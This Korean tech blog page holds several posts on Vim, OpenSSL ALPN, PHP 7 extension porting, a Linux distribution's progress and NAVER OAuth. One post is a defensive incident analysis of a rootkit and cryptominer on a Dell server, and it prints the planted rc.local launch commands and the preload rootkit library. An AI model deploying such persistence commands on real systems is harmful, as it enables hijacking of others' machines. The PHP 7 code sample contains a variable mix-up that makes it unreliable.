뭘 이런걸..

Posted
Filed under Tech/프로그래밍
VIM 에서 PHP를 작성할 때, indent 기능을 사용할 경우 switch가 아래와 같이 정렬이 됩니다. 

<?php 
switch ($a) {
case '1' :
echo "1\n";
break;
default :
echo "12\n";
}
?>


즉, case 문의 depth가 switch와 동일하게 되는 현상인데, 이걸 싫어 하는 사람도 많습니다. 그래서 case를 indent 시키고 싶다면 .vimrc 에 다음의 설정을 추가해 주세요.

let g:PHP_vintage_case_default_indent = 1


그리고 다시 indent 시켜 보면 다음과 같이 정렬이 됩니다.

<?php
switch ($a) {
case '1' :
echo "1\n";
break;
default :
echo "2\n";
}
?>


2016/07/08 17:50 2016/07/08 17:50
Posted
Filed under security
자 5월 말에 Chrome browser가 51로 업그레이드 되면서 NPN 기능을 제거 했습니다.

NPN 기능이 대표적으로 사용되는 것은 SPDY와 HTTP2 protocol 입니다. SPDY는 NPN 기반으로 동작을 하고, HTTP2는 ALPN 기능을 이용하여 동작을 하는데, NPN 기반에서도 동작이 가능 합니다.

그럼, Browser에서 NPN 기능을 제거한 것이 무엇이 문제냐는 점인데.. Browser에서 NPN 기능을 제거를 하면 서버에서도 ALPN 기반으로만 HTTP2 서비스가 가능하며 서버가 NPN 기반일 경우에는 불가능 합니다. 또한, 기존의 SPDY는 chrome에서는 불가능 하다는 의미입니다.

즉, Chrome browser는 서버에서 ALPN을 지원하지 않으면, 아무리 서버에서 spdy나 http2 protocol을 지원하도록 해도 HTTP/1 로 통신을 해 버리게 되는 것입니다.

뭐, 다 좋습니다. NPN이 사장된 기능이고, 사장된 기능은 빨리 제거를 하는 것이 좋을 테니까요.

그럼 무엇이 문제일까요?

현재 ALPN은 openssl 1.0.2 부터 지원을 합니다. 1.0 은 NPN을 하고요. 문제는 이 openssl 버전에 있습니다.

openssl은 대부분의 OS 배포본에서 core 패키지로 분류가 됩니다. 즉, openssl을 함부로 업그레이드 했다가는 시스템 동작이 원할하지 못하게 된다는 것을 의미합니다. 일단 ssh 연결이 불가능 하게될 가능성이 가장 큽니다. 즉, openssl 은 함부로 업그레이드가 불가능한 패키지로 봐야 하기 때문에, 상위 버전의 openssl을 사용하려면 별도의 위치에 openssl을 설치한, 별도 위치의 openssl library를 link를 해야 합니다. 문제는 이 부분이 누구나 쉽게 할 수 있는 부분이 아니라는 것이죠.

또한, openssl은 심각한 보안버그가 자주 나오는 편인데, 별도로 관리되지 않는 openssl을 설치해서 사용한다는 것도 보안 운영상 아주 취약한 문제이고요.

현재 리눅스 우리나라에서 서버로 많이 사용되는 배포본과 openssl library 버전은 다음과 같습니다.

Operating System OpenSSL Version ALPN and NPN Support
CentOS/Oracle Linux/RHEL 5.10+ 0.9.8e Neither
CentOS/Oracle Linux/RHEL 6.5+, 7.0+ 1.0.1e NPN
Ubuntu 12.04 LTS 1.0.1 NPN
Ubuntu 14.04 LTS 1.0.1f NPN
Ubuntu 16.04 LTS 1.0.2g ALPN and NPN
안녕 리눅스 2 1.0.1e NPN
안녕 리눅스 3 1.0.1e NPN + ALPN (back porting)

일단 안녕 리눅스는 많이 사용되는 배포본은 아니지만, 제가 배포하는 거라 살짝 끼워 넣었습니다.

위의 상황을 보시면 바로 아실 수 있을 겁니다. 현재 운영되는 대부분의 배포본들이 ALPN을 지원하지 않는다는 의미입니다. 즉, 브라우저에서 NPN 기능을 제거해 버리면 대부분의 spdy나 http2 기능을 제공하던 시스템들이 무력화가 되는 것이나 마찬가지라는 것입니다.

NPN 기능이 activeX 처럼 악의 축도 아니고, 상황이 바쳐주지 않은 상태에서 이렇게 NPN을 제거해 버림으로서 일단 SPDY 서비스는 완전히 무력화가 되어 버렸습니다.

가장 많이 사용하는 브라우저인 Chrome이 과감하게 NPN을 제거함으로서 이제 OS 배포본 업체들의 행보가 궁금해 집니다. 운영되고 있는 대부분의 배포본에서 제공하는 openssl 1.0.0, 1.0.1 버전에 ALPN 기능을 back porting을 해 줄 것인지 아니면, 고객들 보고 알아서 하라고 할 것인지.. 재미있는 상황이 되어 버렸습니다.


일단, 구글의 조치로 인하여, 구글을 제외한 http2 환경은 지랄 맞는 상황이 되어 버렸습니다. :-)


P.S.
안녕 리눅스 3은 http2의 지원을 위해서 openssl 1.0.2의 ALPN을 back porting을 해 놓았으며, 안녕 리눅스 2도 현재 back porting을 진행 하고 있습니다.

2016/06/24 01:04 2016/06/24 01:04
김정균

안녕 리눅스 2에서 openssl-1.0.1e-48.an2.1 부터 ALPN patch 가 적용이 되었습니다. 적용이 되지 않은 시스템들은 다음 명령으로 업데이트 하세요.

yum update "openssl*"

Posted
Filed under Tech/Tip & Trick
Note: OS X 10.11 El Capitan에서의 방법이 업데이트 되었습니다.

아.. Mac Lion에서 동작하는 Apple Script를 찾느라 힘이 들어 공유 합니다. (일단 한글 자료가 없어서..)

일단, finder > 응용 프로그램 > Apple Script 편집기를 실행 해서 다음의 코드를 넣습니다.

주의할 것은, Apple Script를 사용하기 위해서는 "시스템 설정" > "손쉬운 사용" 의 하단에 "보조 장비에 대한 접근 활성화"가 체크되어 있어야 합니다.

Safari Private Browsing 한국어 모드



OS X 10.11 El Capitan 에서는 다음과 같이.. (https://discussions.apple.com/message/29223652#29223652 참조)

Safari Private Browsing 한국어 모드



영문판은 다음과 같이 하셔야 합니다.

Safari Private Browsing 영문 모드

2016/01/20 18:26 2016/01/20 18:26
Posted
Filed under Tech/프로그래밍
안녕 리눅스 3의 PHP 버전을 7로 올려서 release 하려고 하다보니.. 별 개삽질을 다하고 있다.
일단, PHP wiki에서 https://wiki.php.net/phpng-upgrading 를 참고하여 작업을 하면 되는데, 문제는 여기에 나와있지 않은 경우가 너무나 많다.

결국에는 PHP 소스 코드를 뒤져서 구현해야 하는.. 더군다나 여기에 나와있지 않은 hole들도 굉장히 많다. 대표적으로..

char * input;
int ilen;
int no;
 
if ( zend_parse_parameters (ZEND_NUM_ARGS(), "sl", &input, &ilen, &no) == FAILURE )
    RETURN_FALSE;
이 코드는 컴파일을 잘 되나, 그냥 segfault 가 발생한다. s(String)과 l(integer)는 다음과 같이 해 줘야 한다.

zend_string * Zinput = NULL;
zend_long no;

char * input;
int ilen;

if ( zend_parse_parameters (ZEND_NUM_ARGS(), "Sl", &input, &no) == FAILURE )
    RETURN_FALSE;

input = ZSTR_VAL (input);
ilen = ZSTR_LEN (input);
zend_parse_parameters 에서 string은 zend_string으로 변경해 줘야 하고, long은 zend_long로 선언을 변경해 줘야 한다. 이 외에도, string을 zval 변수로 변환하는 경우도 짜증난 케이스

zval *zv;
MAKE_STD_ZVAL (zv)
ZVAL_STRING (zv, "문자열");
이 코드는 다음과 같이 변경 되어야 한다.
zval zv;
ZVAL_STRING (&zv, "문자열");
,,,
zval_ptr_dtor (&zv);
이 외에도 너무 많아서 정리가 힘들다. PHP7은 잘못하면 python 3 꼴이 날지도 모르겠다. 3party module 중에서 PHP 7을 지원을 얼마나 빨리 해 주ㄴ냐가 관건인 듯.. 물론 php code 호환 문제 까지는 바라보기도 전에 말이다. (갈 길이 너무 멀다....) 내가 만든 3party 확장들은 PHP 7 지원을 위한 코드 변경이 너무 많아서, 아예 PHP 7 지원하는 버전은 하위 호환성을 포기하고 컴파일을 막아 버렸다. --;
#if PHP_API_VERSION < 20151012
#error "************ PHP version dependency problems *******************"
#error "This package requires over php 7.0.0 !!"
#error "If you build with php under 7.0.0, use mod_krisp 2.x version"
#error "You can download mod_krisp 2.x at http://mirror.oops.org/pub/oops/libkrisp/APIs/php/"
#endif
참고로.. mod_korean migraion diff 를 보면.. 얼마나 많이 변경을 해야 하는지 대충 감이 올 듯.. 이 링크는 아직도 작업이 완료되지 않은 상태이다. --;
2015/12/29 05:15 2015/12/29 05:15
김정균

ncurses extension 작업 완료

ncurses: https://bugs.php.net/bug.php?id=71299

김정균

하.. 숨어있는 문제들이 훨씬 더 많군요 :-(

내부 구조의 많은 변경으로, 단순하게 API 변경만 따라가다가는 엉뚱한 문제들이 송송 터지네요. 예를 들면 https://github.com/expressif/pecl-event-libevent/issues/3 요런 문제들이..

PHP 7의 걸림돌은 3rd party extension 들이겠군요.

참고로 PHP 7을 지원하도록 수정된(거의 비공식적인) 3rd party extension 목록을 공유합니다.

memcache: https://github.com/websupport-sk/pecl-memcache/tree/php7
libevent: https://github.com/expressif/pecl-event-libevent/
event: https://bitbucket.org/osmanov/pecl-event/src/7f233a23b34bb100753971766c5ea2611fe8d023/?at=php7-dev
mongodb: http://pecl.php.net/package/mongodb/1.1.1

등등..

Posted
Filed under security
며칠전 지인에게서 시스템이 이상하다고 봐달라고 하여 확인을 하다가 발견한 사항 입니다.
특이사항으로는 다음의 공통점이 있습니다.

  1. iDrac이 달려 있는 Dell server (R610 제품군..)
  2. iDrac이 public IP로 설정 되어 있음

증상은 다음과 같습니다.
  1. CPU nice가 100% 사용 됨. (Nice는 shell의 nice를 의미하며, nice 우선권이 높은 cpu time을 말하므로, CPU usr 사용량이 100%라고 봐도 무방합니다.)
  2. find 명령을 실행하면 무조건 'file not found'
  3. ls 실행시에 astrik(*)가 처리되지 않음.
일단, 증상 2,3으로 보아 직감적으로 cracking을 당한것으로 보였고, hidden process를 처리하는 rootkit이 실행이 된 것으로 판단하여 시스템을 뒤지기 시작했으며, 보통 hidden process 처리는 kernel module이나 library preload를 이용해서 부팅시에 처리하므로 다음의 단계로 확인을 해 보았습니다.

  1. rpm -Va 명령으로 변조된 binary file 여부 확인
  2. /etc와 /boot 의 모든 파일 검사
    1. rc.local 에서 다음의 내용 확인

      nohup /bin/_-pud 111.111.111.111 >/dev/null&
      nohup /bin/_-minerd -c /bin/_-config 2> /dev/null&

      /bin/_-pud
      /bin/_-minerd
      /bin/_-config
      /usr/bin/_-minerd

    2. 111.111.111.111:8080 으로 접근해 보면 "mining server online" 라고 뜸. 아마 bit coin 채굴 사이트가 아닐까 의심
    3. 이 프로세스 kill 후 CPU nice 정상화 됨
    4. /etc/ld.so.preload 에 libncom.so.4.0.1 등록된 것 확인
    5. /lib64/libncom.so.4.0.1 이 어느 패키지에도 포함되지 않은 것 확인
      1. /etc/ld.so.preload 제거
      2. /lib64/libncom.so.4.0.1 제거
      3. reboot
    6. find 동작과, ls 시에 astrik 처리 안되는 문제 해결 됨

iDrac과 _-pud로 검색을 해 보면, 2015는 9월말 경에 이 경우와 동일한 건이 1건 검색이 됩니다. 여기서는 iDrac의 firmware의 버그 때문이다는 의견과, iDrac의 암호 관리 때문이다 (모두 iDrac이 public IP로 셋팅되어 있는 경우이네요)라는 의견이 있습니다.
  • http://stackoverflow.com/questions/32536518/i-cannot-start-qemu-kvm-on-a-centos-6-server
  • http://www.webhostingtalk.com/showthread.php?p=9534226

일단, 이 시스템도, iDrac에 접근한 로그는 확인이 되었는데, iDrac에서 OS영역으로의 cracking을 어떻게 했는지에 대해서는 아직 확인이 되지 않았습니다. 뭐 또 제가 hacking이 주영역이 아니다 보니.. 확인하기도 좀 귀찮고.. :-)

위의 내용 참고 하시기 바랍니다. 관련 시스템들은

R610  iDrac enterprise 6 firmware 1.99(2015.07) 입니다.
2015/11/04 16:46 2015/11/04 16:46
김정균

오늘 동일한 증상을 또 확인하여, 분석해 본 결과, iDrac6 에 보안홀이 있고, 여기서 root console을 이용하여 OS로 접근을 한 것이네요.

iDrac6 사용자는 firmware를 2.80 이상으로 업데이트 해야 합니다.

현 시점 최신은 2.85 입니다.

http://www.dell.com/support/home/kr/ko/bsdt1/Drivers/DriversDetails?driverId=J7YYK

보안홀 관련 수정 사항은 2.80 changelog 에서 확인할 수 있습니다.

http://www.dell.com/support/home/kr/ko/bsdt1/Drivers/DriversDetails?driverId=9Y5XD

highjacking을 하는 libncom 에 대해서는 https://packetstormsecurity.com/files/99782/Ncom-Libcall-Hijacking-Rootkit.html 를 참조 하세요.

Posted
Filed under Tech/안녕리눅스
* 참고: 이글의 코멘트로 진행 사항이 계속 업데이트 되고 있습니다.

안녕리눅스 3 소식이라고 10개월 전에 올려놓고 금방 나올것 처럼 포스팅을 했습니다만, 역시나 공수표가 되고 말았습니다.

2015년 한해가 제게는 완전히 고난의 해 이군요. 2015년의 키워드는 '배신'이며, 제 인생에서 지워버리고 싶을 정도로 엄청난 일들을 겪었고, 또 현재 진행형 입니다. 그러다 보니 안녕리눅스 개발 역시 뒷전이 되고 말았습니다.

현재 안녕 리눅스 3의 개발 단계는 기본 패키징은 완료된 상태이며, kickstart 설치 테스트를 하고 있습니다. RHEL의 설치 프로그램인 anaconda 역시 systemd의 도입으로 많이 변경된 관계로 테스트가 꽤 많이 필요하네요.

앞으로의 남은 작업은 다음과 같습니다.

  1. kickstart 설치 정리
  2. systemd 관련 daemon package 정리
  3. KLDP system에 적용 및 테스트
  4. Release
단계상으로는 얼마 안남은 듯 싶은데, 현재 진행형인 제 개인사가 어떻게 방해를 하지 몰라서 일정은 감히 언제 된다고 하기는 힘들 것 같습니다. 하지만 8월 말 부터 계속 꾸준하게 저녁 시간을 할애해서 작업이 진행되고 있으며, 아마도 올해 안에는 공개가 가능하지 않을까 싶습니다.

공개는 일차적으로 RHEL의 패키지를 수정한 base repository를 공개할 수도 있을 듯 싶습니다.
2015/10/07 00:56 2015/10/07 00:56
김정균

https://open.kldp.org 가 안녕 리눅스 3으로 migration 되었습니다. migration을 하면서 apache의 http 2 protocol 지원 문제를 해결 하였고, JAVA 환경에 대한 fix가 있었습니다.

그리고, 안녕 리눅스 패키지 일람이 완성 되었습니다.

https://joungkyun.gitbooks.io/annyung-3-user-guide/content/AnNyung3-Package-Catalog.html

이제 안녕 리눅스 운영에 대한 문서만 완성하면, 안녕 리눅스 3 GA 선언이 가능할 것 같습니다.

김정균

여전히 삽질 중입니다. :-)

apache 2.4.17 부터 mod_http2를 지원하여, apache는 2.4.18로 올려 놓았는데, 어제부터 테스트를 해 본 결과 mod_http2가 동작을 하지 않더군요.

결국에는 문제가 mod_http2가 openssl 1.0.2에서 지원하는 ALPN 을 이용하여 서비스를 하고, CentOS7의 openssl은 이를 지원하지 않는 다는 것이 문제점 입니다.

그리고, Major browser들이 NPN을 이용한 h2 protocol을 depcreated 시킨 것도 문제고요. 인터넷상에서 보면 chrome의 경우에는 다시 NPN을 지원한다고 하였으나, 여전히 48에서는 지원을 하지 않고 있습니다.

그래서 혹시 누군가가 openssl 1.0.1에 ALPN을 backport 하지 않았을까 하여 열심히 검색해 본바 찾을 수가 없더군요. --;

고민에 고민을 하다가 (수정했다가 관리해야 할 패키지가 늘어나는 관계로.. --;) 결국 openssl 1.0.1에 ALPN을 backporting 하여 패키지룰 추가하고, 이 openssl로 httpd를 rebuild하여 mod_http2가 동작을 하게 해 놓았습니다.

엉뚱한데서 계속 시간을 잡아먹네요 --;

openssl-1.0.1e-51.an3.2.x86_64
httpd-2.4.18-2.an3.x86_64

버전이 설치 되어 있어야 mod_http2가 동작 합니다.

P.S.
아 깜빡.. 설치 가이드가 완성 되었습니다.

https://www.gitbook.com/book/joungkyun/annyung3-installation-guide/details

김정균

마지막으로 문제가 되었던 php7 libevent extension 문제 해결(https://github.com/php/pecl-event-libevent/pull/2)과 GeoIP kernel module이 제대로 동작하지 않는 bug를 해결하고 드디어 package freeze 상태로, 설치 테스트를 하고 있습니다. package freeze 상태란, package-version-release.an3.x86_64.rpm 이라는 패키지가 파일 이름 그대로 rebuild가 되는 일이 없을 거라는 의미입니다. 변경 사항이 있으면 무조건 version 업데이트가 된다는 의미입니다. (금일 까지는 동일한 파일이름으로 pcakage가 rebuild 된 경우가 있었습니다.)

일단, 설치 테스트를 하면서 설치 문서를 만들고 있으며, 이 작업이 완료가 되면, Beta 선언을 할 예정이고, open.kldp.org에서 동작하는 서비스들을 AnNyung3으로 migration하여 실테스트 에 들어간 이후 문제가 없으면 GA 선언을 할 예정입니다. 이 작업은 대략 2월 말 정도까지 걸릴 것으로 예상이 됩니다.

김정균

* 2016.01.15 작업 완료

- php 7.0.2 update + official bug fix
- php56 5.6.17
- httpd event mpm 동작 안하는 문제 fix. 기본 MPM을 event 로 변경. php 환경은 mod_php 보다 php-fpm을 사용하는 것을 권장. php56은 mod_php 지원하지 않고 php-cli/php-fpm 만 지원
- php subpackage 중 이름이 php-xxx 에서 php-pecl-xxx 로 변경된 것 다수

* 다음 진행할 작업

- 서비스 환경에 투입하여 동작 확인
- 설치 문서 및 기타 문서 작업
- GE 선언

김정균

2015-12-22 마지막 커멘트 후 소식이 뜸했습니다. :-)

현재 안녕 3의 php 5.6을 php 7 로 변경을 했습니다. 기존의 php 5.6은 php5 package(기본 패키지 아님)으로 지원할 예정이며, php7과의 공존을 위하여 php5-cli와 php5-fpm만 지원할 예정입니다.

현재 남은 작업은 다음과 같습니다.

1. php7 용 3rd party 확장 migration (oauth/sqlrealy)
2. php5 package 제작
3. 안녕 3 실환경 migration 테스트 (http://open.kldp.org ..)
4. 문서 작성 및 GE 선언

node-js와 mongodb 관련은 릴리즈가 너무 지연이 되어 GE 선언 이후로 미루기로 결정했습니다.

김정균

현재 PHP 7 반영을 하고 있는데, 여기서 의외의 복병을 만나 시간을 잡아 먹고 있습니다.

기존 char * 형식으로 사용하던 변수들이 php 7로 오면서 zen_string 이라는 구조체를 사용하게 되었고, 이로 인하여, 기존의 patch에서 이를 다 변경해야 하는 이슈가 발생하네요.(패키들을 거의 새로 다시 작성 해야 한다는 --;) 그리고 기존의 third party extension들도 다 php 7 API로 변경을 해야 하는 문제가 발생하네요. 아쉽게도 시간이 조금 더 소요가 될 것 같습니다.

아직도, php 5.6 으로 갈것이냐 php 7로 갈것이냐가 갈등의 요지이네요 --;

김정균

RHEL 7.2 update pakcage의 변경 사항 반영이 완료 되었습니다.

php 7 작업과 문서 작업 후 beta release 예정 입니다. (fix된 날자는 아직.. ^^) beta release는 open.kldp.org 서버를 an3로 업데이트 후에 re-pack된 패키지들에 문제 여부를 확인 후 GA 선언 예정 입니다.

김정균

RHEL 7.2의 package 버전 의존성과 RHEL 7.2와 EPEL package와의 충돌 (안녕 3은 기본으로 EPEL을 포함하고 있습니다.) 때문에 CentOS 7.2 release를 기다리고 있어 릴리즈가 좀 늦어지고 있습니다.

기다리면서, php 7.0 도입을 아주 심각하게 고민하면서 일단 시도를 해 보고 있습니다.

김정균

어흑.. RHEL 7.2 가 나오고 말았네요. ....

rebuild 해야될 패키지들이 꽤 있습니다. 조금 더 딜레이 되겠군요.

release 까지의 남은 job list는 다음과 같습니다.

1. PHP 7 upgrade (할까 말까 고민중입니다만, 작업은 하고 있습니다.)
2. nodejs를 4.x로 할지 5.x로 할지 고민 중
3. RHEL 7.2 변경 사항 rebuild

이 작업이 끝나면 배포본 작업은 완료된 상태로 다음의 job list가 남습니다.

1. 문서 작업
2. 실전 투입(KLDP 서버중 하나..)하여 버그 테스트

이 과정을 마치면 정식 릴리즈가 될 예정입니다. 문서 작업이 완료되는 대로 일단 beta 오픈은 가능할 것 같습니다. RHEL 7.2가 release 변수를 만들어 버리네요 ^^;

김정균

이 글을 포스팅한지 한달 정도가 지났고, 현재 진행 상태를 공유 합니다.

일단, 제가 회사를 퇴사하여 백수가 된 상태라 시간이 많이 나게 되었습니다. 물론 쉬는 동안에 육아를 하고 있으므로, 아주 많이는 아닙니다. :-) 현재 12월 중 release를 목표로 달리고 있습니다만, 테스트 machine이 부족한 것이 흠이네요 ^^;

일단, 설치 테스트는 완료 되었습니다. 문서만 만들면 안녕 3설치는 가능합니다. 다만, RHEL 7부터 systemd 를 도입함으로서 설치 installer 가 많이 변경이 되어, 안녕 2 보다 설치는 타이핑을 좀 많이 해야 한다는 단점이 있습니다. --;

현재 남은 작업은 다음과 같습니다.

1. 몇몇 3rd party packaging
. sendmail - systemd 처리
. redis - memcached 처럼 init script로 process 여러개 관리 할 수 있도록
. proftpd - systemd 처리
. tomcat - systemd 처리
. l4vip - systemd 처리
. nodejs - version 4 upgrade
. httpd nis/ntlm 모듈 재작성 (apache 2.4부터 인증 모듈 변경)

2. 알려진 bug 수정
. /etc/login.def.exception 반영 안되는 문제 ( shadow-utils)
. jfbterm 에서 한글 입력 안되는 문제 (출력은 문제 없음)

1번 작업은 11월 안에 완료가 될 것 같고, jfbterm과 nodejs 만 빼면 12월 중에 안녕 3 릴리즈는 가능할 것 같습니다.

일단 재취업은 안녕 3릴리즈 후로 생각하고 있으므로, 안녕 3 릴리즈에는 매진을 할 수 있을 것 같습니다.

Posted
Filed under Tech/프로그래밍
어쩌다 보니 시간이 남아돌게 되었고 (안녕 리눅스 3을 기다리시는 분들께는 안녕 리눅스 3작업을 못해서 죄송합니다. 작업 환경이 없어져서 못하는 관계로 이해해 주십시오.. )

중기님의 iPutty 0.64 release 계획은 보이지도 않고..

그래서 iPutty 0.63에 Putty 0.64 변경 사항을 반영하여 64bit로 빌드한 binary를 공유 합니다. 기존 버전과 추가 기능도 있습니다.

Changelog:
  1. 0.64 변경 사항 반영
    https://bitbucket.org/daybreaker/iputty/issue/11/putty-064
  2. 64bit build
    https://bitbucket.org/daybreaker/iputty/issue/12/64bit
  3. cygterm 지원 (puttycyg 패치 적용)
    https://bitbucket.org/daybreaker/iputty/issue/10/puttycyg
  4. psftp의 ls가 디렉토리 리스팅만 가능한 것을 "ls file"도 가능하도록 수정
  5. psftp utf8 지원 (remote는 기본으로 utf8임)
    https://bitbucket.org/daybreaker/iputty/issue/13/psftp-utf8

2015/05/30 00:20 2015/05/30 00:20
Posted
Filed under Tech/안녕리눅스
12월 초에 안녕 리눅스 3일정을 잡았다가 현재는 2015년 1월 말로 연기된 상태 입니다.

현재 작업 상태는 core package들의 re-packaing이 거의 완료된 상태입니다.

문제는 결국에는 기존의 init를 systemd로 변경된 것에서 문제가 발생을 하고 있네요.

안녕의 init script에는 argument를 가져와서 사용하는 것들이 있습니다. 대표적으로 mysql과 redis, memcache 같은 것들인데요. 이 데몬들의 init script들은 argument를 이용해서 여러개의 process를 관리할 수 있도록 되어 있습니다.

문제는 systemd가 외부 argument를 받아 들이지 못하는 것 같고(아직 정확하게 파 보지는 않아서 추측입니다..), 그리고 외부 변수(sysconfig)의 활용도가 너무 제한적이라는 것입니다. 그냥 자유를 박탈당한 기분이랄까요?

지금은 systemd를 뜯어 고쳐야 하나 심각하게 고민중입니다. 그래서 일정이 더 지연이 될 수도 있을 것 같네요. 고민고민 병에 걸려 버렸습니다. --;
2014/12/18 14:58 2014/12/18 14:58
김정균

뭐 계속 약속을 못 지키고 있습니다. 아마도 시간이 조금 더 걸릴 예정입니다.

현재, 제 개인적인 사정으로 작업을 전혀 하고 있지 못하고 있습니다. 전업이 아니다 보니 문제가 발생시에 아무래도 우선 순위가 떨어질 수 밖에 없네요. 현재는 안녕 2 업데이트에만 전념하고 있는 상태 입니다. (업데이트만은 전업처럼 지원하고 있습니다. ^^)

조만간 제 신상에 변화가 생길 예정입니다. 이 문제 때문에 지연이 되고 있으며, 백수 신세가 되면 아마도 좀 빨리 진행이 가능하지 않을까 싶네요. 백수가 되기 까지 투쟁이 필요한 까닭에, 기다리시던 분들께는 양해를 구합니다.

김정균

또 다시 출시 기한을 어기고 말았네요. :-)

현재 상태는 systemd 수정(아주 조금..^^)을 마친 상태에서 daemon 들 패키징 중입니다. 기존의 init script 체제를 systemd 체제로 변경하고 있는데, 이 작업이 꽤 공수가 많이 들고 있습니다.

현재 작업 결과물은 http://mirror.oops.org/pub/AnNyung/3/ 에 공개되어 있으며 남은 작업은 다음과 같습니다.

systemd 적용 -> installer 제작 -> 정식 릴리즈

2월말 까지는 release가 가능하도록 노력해 보겠습니다. :-)

Posted
Filed under Tech/프로그래밍
요즘 문중 홈페이지를 새로 만드는 작업을 하고 있고, 여기에 회원 인증을 OAuth로 구성을 하고 있습니다. 대충 구글/페이스북/트위터/다음/네이트를 지원하고 있는데, Naver의 경우에는 Naver OAuth가 회원 정보를 주지 않아서 구현만 하고 사용은 하지 않고 있었습니다.

그런데 얼마전, 네이버에서 "네이버 아이디로 로그인"이라는 API를 새로 런칭 하였고, 이 API는 OAuth2 기반으로 구현을 하였더군요. (Naver OAuth는 OAuth10a로 구현되어 있습니다.)

사이트 설명에서는 mobile만 library를 지원하고 PC에서는 그냥 설명만 있어서, 그래도 네이버인데 누군가 만들지 않을까 하고선 한두달을 기다렸는데 나오지를 않더군요.

아무래도 OAuth로 회원 인증을 하려다 보니, 우리나라에서 가장 많은 사용자를 가진 네이버를 무시할 수 없고, 또한 문중 어르신들에게 네이버 외에 아이디가 없으면 다른 곳에 가입을 하라고 권유를 드리기가 너무 힘들어서 결국에는 구현을 해 보았습니다.

일단 설치는 pear 저장소를 통해서 배포를 하므로, 아래와 같이 할 수 있습니다. 자세한 사항은 OOPS Pear repository 홈페이지를 참고 하세요.

[root@main ~] pear channel-discover pear.oops.org
Adding Channel "pear.oops.org" succeeded
Discovery of channel "pear.oops.org" succeeded
[root@main ~] pear install oops/NAVER


그러면 간단한 사용법을 적어 보겠습니다.

일단 "네이버 아이디로 로그인" API를 사용하려면 OAuth2 ClientID와 ClientSecret key를 발급 받아야 합니다. 다른 곳과는 다르게 네이버는 심사를 하더군요. 최대 3일 이내에 처리를 해 주기는 합니다만, 경쟁상대인 다음도 심사를 하지는 않는데 좀 그렇더군요. 그리고 사용 조건도 상당히 까다로운 편입니다. 네이버 BI를 지켜야 하는 등 ..

일단 발급을 받았다면 다음의 코드와 같이 작성할 수 있습니다. 굉장히 심플 합니다. ^^;
블러그에 코드가 별로 이쁘게 나오지를 않으니 가독성을 위해서는 다음 문서들을 참고 하세요

NAVER OAuth2 pear package Reference
NAVER OAuth pear package 예제 코드

<?php
/* $Id: test.php 1 2014-05-16 19:11:07Z oops $ */

require_once 'NAVER.php';

session_start ();

// 에러 발생시에 catch를 하기 위하여 error handler를 등록
set_error_handler ('myException::myErrorHandler');

try {
    // 발급받은 키를 등록한다.
    $login = (object) array (
        'id'       => '8avBegO24BpmziA3027D',
        'secret'   => '1zUVPMAl5R',
        'callback' => 'http://domain.com/path/this/file'
    );

    // 인증 과정을 수행
    $naver = new NAVER ($login);

    // 인증 과정 완료 후 사용자 정보를 가져옴
    $user = $naver->getUser ();

    // 유저 정보 출력
    print_r ($user);

} catch ( myException $e ) {
    // 에러 발생시에 다음 출력
    echo '<pre>' . PHP_EOL;
    echo $e->Message () . PHP_EOL;
    print_r ($e->TraceAsArray ());
    exit;
}

/*
 * Local variables:
 * tab-width: 4
 * c-basic-offset: 4
 * End:
 * vim600: noet sw=4 ts=4 fdm=marker
 * vim<600: noet sw=4 ts=4
 */
?>

2014/05/17 05:35 2014/05/17 05:35